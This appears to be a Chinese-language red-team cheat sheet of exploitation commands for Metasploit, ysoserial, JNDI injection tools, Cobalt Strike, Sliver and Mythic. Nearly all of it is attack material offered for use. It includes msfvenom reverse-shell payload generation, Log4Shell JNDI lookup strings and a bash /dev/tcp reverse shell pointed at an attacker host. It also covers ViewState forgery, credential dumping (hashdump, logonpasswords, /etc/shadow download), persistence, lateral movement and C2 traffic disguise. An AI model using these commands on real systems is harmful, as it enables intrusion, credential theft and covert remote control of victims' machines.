9.3 KiB
漏洞利用
11 条工具命令
Metasploit metasploit
渗透测试框架
Step 0
启动Metasploit控制台 platform: linux
msfconsole
Step 0
搜索相关漏洞模块 platform: linux
search exploit apache
语法解析:
search— 搜索命令 commandexploit— 模块类型 valueapache— 搜索关键词 value
Step 0
选择要使用的模块 platform: linux
use exploit/multi/handler
语法解析:
use— 使用模块命令 commandexploit/multi/handler— 模块路径 value
Step 0
显示模块配置选项 platform: linux
show options
语法解析:
show— 显示命令 commandoptions— 配置选项 value
Step 0
设置模块参数 platform: linux
set RHOSTS 192.168.1.100
语法解析:
set— 设置参数命令 commandRHOSTS— 目标主机参数 parameter
Step 0
设置攻击载荷 platform: linux
set PAYLOAD windows/meterpreter/reverse_tcp
语法解析:
PAYLOAD— 载荷参数 parameterwindows/meterpreter/reverse_tcp— 反向TCP连接的Meterpreter载荷 value
Step 0
执行攻击 platform: linux
exploit
语法解析:
exploit— 执行攻击命令 command
Step 0
在后台执行攻击 platform: linux
exploit -j
语法解析:
-j— 后台任务模式 parameter
Step 0
使用msfvenom生成恶意文件 platform: linux
msfvenom -p windows/meterpreter/reverse_tcp LHOST=attacker_ip LPORT=4444 -f exe -o payload.exe
语法解析:
msfvenom— MSF载荷生成工具 command-p— 指定载荷 parameter-f exe— 输出格式 parameter-o— 输出文件 parameter
Step 0
Meterpreter会话中的常用命令 platform: linux
sysinfo
getuid
hashdump
Searchsploit searchsploit
Exploit-DB本地搜索工具,离线查找漏洞利用代码
Step 0
按关键词搜索漏洞利用
searchsploit apache 2.4
searchsploit wordpress 5.0
语法解析:
searchsploit— Exploit-DB本地搜索工具 command
Step 0
精确匹配和排除关键词
searchsploit -e "Apache Tomcat"
searchsploit --exclude="dos" windows smb
Step 0
复制exploit到当前目录或显示路径
searchsploit -m 44228
searchsploit -p 44228
Step 0
JSON格式输出便于脚本处理
searchsploit -j apache | jq ".RESULTS_EXPLOIT[]"
ExploitDB exploitdb
漏洞利用代码数据库在线搜索
Step 0
在线搜索漏洞利用代码
# 访问 https://www.exploit-db.com
# 搜索框输入: Apache Struts
# 或使用Google Dork:
site:exploit-db.com "Apache Struts" RCE
Step 0
通过API搜索(需要合适的请求头)
curl "https://www.exploit-db.com/search?q=wordpress+5.0" -H "X-Requested-With: XMLHttpRequest"
Step 0
使用ExploitDB的Google Hacking数据库
# ExploitDB收录的Google Dorks:
https://www.exploit-db.com/google-hacking-database
# 搜索泄露的配置文件、数据库等
ysoserial ysoserial
Java反序列化漏洞利用Payload生成工具
Step 0
使用指定Gadget Chain生成反序列化Payload
java -jar ysoserial.jar CommonsCollections1 "id" | base64
java -jar ysoserial.jar CommonsCollections5 "whoami" > payload.bin
语法解析:
CommonsCollections1— Gadget Chain名称(依赖目标classpath) parameter"id"— 要执行的系统命令 value
Step 0
列出所有可用的Gadget Chain
java -jar ysoserial.jar --help
# 常用: CommonsCollections1-7, Jdk7u21, URLDNS, JRMPClient
Step 0
通过JRMP协议进行远程利用
# 监听端(攻击机):
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 "bash -c {echo,base64_cmd}|{base64,-d}|{bash,-i}"
# 发送JRMP客户端Payload:
java -jar ysoserial.jar JRMPClient attacker_ip:1099 > jrmp.bin
Step 0
使用URLDNS链探测反序列化漏洞(无需依赖)
java -jar ysoserial.jar URLDNS "http://your_dnslog.com/test" | base64
ysoserial.net ysoserial-net
.NET反序列化Payload生成工具
Step 0
生成.NET反序列化Payload platform: windows
ysoserial.exe -g TypeConfuseDelegate -f ObjectStateFormatter -c "calc" -o base64
语法解析:
-g— Gadget Chain名称 parameter-f— 序列化格式(BinaryFormatter/ObjectStateFormatter等) parameter-c— 要执行的命令 parameter-o base64— Base64编码输出 parameter
Step 0
伪造ASP.NET ViewState执行命令 platform: windows
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "cmd /c whoami" --validationalg=SHA1 --validationkey=MACHINE_KEY --generator=GENERATOR
Step 0
列出所有可用的Gadget Chain和格式 platform: windows
ysoserial.exe -l
# 常用: TextFormattingRunProperties, TypeConfuseDelegate, PSObject
Marshalsec marshalsec
Java反序列化利用工具,支持多种Marshal格式和JNDI注入
Step 0
启动恶意LDAP服务器用于JNDI注入(Log4Shell等)
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://attacker_ip:8888/#Exploit" 1389
语法解析:
LDAPRefServer— 启动LDAP Reference服务器 command"http://attacker_ip:8888/#Exploit"— 恶意class文件托管URL value1389— LDAP服务监听端口 value
Step 0
启动恶意RMI服务器
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://attacker_ip:8888/#Exploit" 1099
Step 0
配合Log4j2 RCE完整利用链
# 1. 编译恶意class: javac Exploit.java
# 2. 托管class: python3 -m http.server 8888
# 3. 启动LDAP: java -cp marshalsec.jar marshalsec.jndi.LDAPRefServer "http://ip:8888/#Exploit" 1389
# 4. 触发: ${jndi:ldap://ip:1389/Exploit}
JNDIExploit jndi-exploit
JNDI注入利用工具,集成多种Gadget和Bypass
Step 0
启动JNDI Exploit服务(同时监听LDAP 1389和HTTP 3456)
java -jar JNDIExploit.jar -i attacker_ip
语法解析:
-i— 攻击机IP地址 parameter
Step 0
通过不同路由执行命令或反弹Shell
# 触发Payload:
${jndi:ldap://attacker_ip:1389/Basic/Command/Base64/Y21k}
${jndi:ldap://attacker_ip:1389/Basic/ReverseShell/attacker_ip/4444}
Step 0
绕过高版本JDK的trustURLCodebase限制
# 使用Tomcat Bypass:
${jndi:ldap://attacker_ip:1389/TomcatBypass/Command/Base64/d2hvYW1p}
# 使用反序列化Bypass:
${jndi:ldap://attacker_ip:1389/Deserialization/CommonsCollections5/Command/Base64/d2hvYW1p}
Rogue JNDI rogue-jndi
恶意JNDI服务器,提供多种攻击向量
Step 0
启动恶意JNDI服务(LDAP+RMI+HTTP)
java -jar RogueJndi.jar --command "whoami" --hostname attacker_ip
Step 0
配置反弹Shell命令
java -jar RogueJndi.jar --command "bash -i >& /dev/tcp/attacker_ip/4444 0>&1" --hostname attacker_ip
Step 0
在目标注入JNDI Lookup触发利用
# LDAP: ${jndi:ldap://attacker_ip:1389/o=reference}
# RMI: ${jndi:rmi://attacker_ip:1099/o=reference}
Cobalt Strike cobalt-strike
商业化红队C2框架,支持多种攻击和后渗透功能
Step 0
启动CS服务端 platform: linux
./teamserver your_ip your_password malleable_c2_profile.profile
Step 0
通过图形界面生成各类Payload
# GUI操作:
# Attacks > Packages > Windows Executable (S)
# Attacks > Packages > HTML Application
# Attacks > Web Drive-by > Scripted Web Delivery
Step 0
获取Beacon后的常用后渗透命令 platform: windows
# 基础信息
whoami
shell ipconfig
getuid
# 横向移动
jump psexec target_ip SMB_listener
jump winrm target_ip HTTP_listener
# 凭证获取
hashdump
logonpasswords
# 持久化
persist-service
persist-registry
Step 0
使用Malleable C2 Profile伪装通信流量 platform: linux
# 使用C2 Profile伪装流量:
# https://github.com/rsmudge/Malleable-C2-Profiles
./teamserver ip pass jquery-c2.4.0.profile
Sliver sliver
开源跨平台红队C2框架,Cobalt Strike替代品
Step 0
启动Sliver服务端 platform: linux
sliver-server
Step 0
生成各平台的植入体
# 在Sliver控制台:
generate --mtls attacker_ip --os windows --arch amd64 --save implant.exe
generate --http attacker_ip --os linux --format shared --save implant.so
Step 0
启动mTLS/HTTPS/WireGuard监听器
mtls -l 8888
https -l 443 -d example.com
wg -l 51820
Step 0
常用后渗透操作命令
# 获取Session后:
info
getuid
ps
download /etc/shadow
upload local_file /tmp/remote
execute -o whoami
pivots tcp --bind 0.0.0.0:9050
Mythic mythic
模块化C2框架,支持多种Agent和自定义扩展
Step 0
安装Apollo(Windows)或Poseidon(Linux) Agent platform: linux
sudo ./mythic-cli install github https://github.com/MythicAgents/Apollo
sudo ./mythic-cli install github https://github.com/MythicAgents/Poseidon
Step 0
通过Web界面管理C2操作
https://attacker_ip:7443
# 默认账号: mythic_admin
# 密码查看: cat .env | grep MYTHIC_ADMIN_PASSWORD
Step 0
通过图形界面配置和生成Payload
# 在Web界面:
# 1. 创建Payload Profile
# 2. 选择Agent类型(Apollo/Poseidon等)
# 3. 配置C2 Profile
# 4. 生成Payload下载